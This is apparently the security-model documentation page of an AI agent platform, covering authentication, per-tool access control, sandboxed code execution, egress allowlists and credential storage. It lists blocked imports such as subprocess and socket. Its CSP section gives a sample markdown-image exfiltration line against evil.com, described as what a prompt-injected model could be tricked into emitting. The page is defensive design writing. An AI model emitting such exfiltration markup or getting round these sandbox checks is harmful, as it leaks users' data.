Security Model¶

Overview¶

ADEPT implements defense-in-depth security across three tiers: TLS termination at the reverse proxy, JWT validation at the API gateway, and fine-grained authorization at the orchestration layer. All inter-service communication uses authenticated credentials, and code execution runs in hardened sandboxes.

Authentication Flow¶

sequenceDiagram
    participant Client
    participant Nginx as Nginx (TLS)
    participant GW as Agent Gateway
    participant KC as Keycloak
    participant Orch as Orchestration Service

    Client->>Nginx: HTTPS Request
    Nginx->>GW: Forward (plaintext internal)
    GW->>KC: Validate JWT Signature
    KC-->>GW: Token Valid + Claims
    GW->>Orch: Proxy + User Context Headers
    Orch-->>GW: Response
    GW-->>Nginx: Response
    Nginx-->>Client: HTTPS Response

The Agent Gateway acts as a pure authentication proxy -- it validates identity but delegates all business logic to the Orchestration Service.

Authorization (RBAC)¶

Role-Based Access Control is enforced via Keycloak groups embedded in JWT claims:

Per-Tool ACL¶

Each registered tool specifies which groups may invoke it:

# Tool access filtered at runtime
authorized_tools = await tool_manager.get_authorized_tools(
    user_id=user.id,
    groups=user.groups  # From JWT claims
)

Users only see and can invoke tools their group membership permits.

Sandbox Security¶

The sandbox_mcp_server executes user-submitted code in isolated containers with multiple security layers:

Code Execution Guardrails¶

Before execution, submitted code is analyzed for policy violations:

• Blocked imports: os.system, subprocess, socket, network libraries
• Filesystem restrictions: Write access limited to session-scoped temp directory
• Resource caps: Memory ceiling and CPU time limits prevent resource exhaustion
• Output limits: stdout/stderr truncated to prevent memory bombs

Kernel-Level Syscall Filtering (nsjail)¶

For deployments requiring maximum isolation, ADEPT supports optional kernel-level syscall filtering via nsjail. When enabled, all code execution occurs inside a seccomp-BPF jail that blocks 22 dangerous system calls (container escape, kernel modification, process inspection, filesystem escape).

nsjail is configurable per deployment:

Security Level Configuration¶

The security_level parameter controls the strictness of pre-execution code analysis. Operators choose the appropriate level based on their trust model:

Configure via the execute_code tool parameter or set the default in your deployment configuration:

# In docker-compose environment:
SANDBOX_DEFAULT_SECURITY_LEVEL: "medium"  # strict | medium | permissive

When enable_security_validation is set to false, all pre-execution checks are bypassed entirely. This is not recommended for untrusted code.

Resource Limits¶

The sandbox enforces memory and CPU constraints at two levels:

Container-level limits (Docker Compose deploy.resources):

Per-execution limits (environment variables in .env):

Network Egress Control¶

By default, sandbox containers have no external network access. Operators can selectively allowlist specific hosts and ports via a YAML configuration file that is validated at container startup.

The allowlist uses nftables rules applied during container initialization with Pydantic schema validation ensuring only well-formed rules are accepted. Wildcards, CIDR notation, and localhost targets are rejected.

Response Hardening (CSP)¶

All responses from nginx_proxy include a Content-Security-Policy header that prevents browser-side exfiltration of sensitive model output:

img-src 'self' data: blob:;
script-src 'self' 'unsafe-inline' 'unsafe-eval';
connect-src 'self' ws://$host wss://$host;
frame-ancestors 'none';

This blocks attacks where a model is tricked into emitting ![img](https://evil.com/track?data=...) -- the browser will refuse to load the external image. Same-origin presigned URLs and base64-encoded plot images remain functional.

Service Communication¶

Inter-service authentication uses OAuth2 Client Credentials flow:

# Service obtains token from Keycloak
POST /realms/{realm}/protocol/openid-connect/token
  grant_type=client_credentials
  client_id=agent-gateway-client
  client_secret=<rotatable-secret>

Service credentials are:

• Generated during stack bootstrap
• Stored in credential directories (not environment variables)
• Retrieved via the SecretsManager with file-based lookup
• Rotatable without service restart via credential regeneration

Session Isolation¶

User data is isolated at multiple levels:

No user can access another user's uploaded files, RAG indexes, execution results, or conversation history through any API surface.

Credential Management¶

ADEPT uses file-based secret retrieval as the default pattern:

Lookup order:
1. /run/secrets/{SECRET_NAME}    (Docker/K8s secrets mount)
2. /app/credentials/{SECRET_NAME} (Credentials directory)
3. os.getenv("{SECRET_NAME}")     (Environment variable fallback)

This approach supports Docker Compose, Kubernetes, and local development without code changes, and credentials persist across container recreations.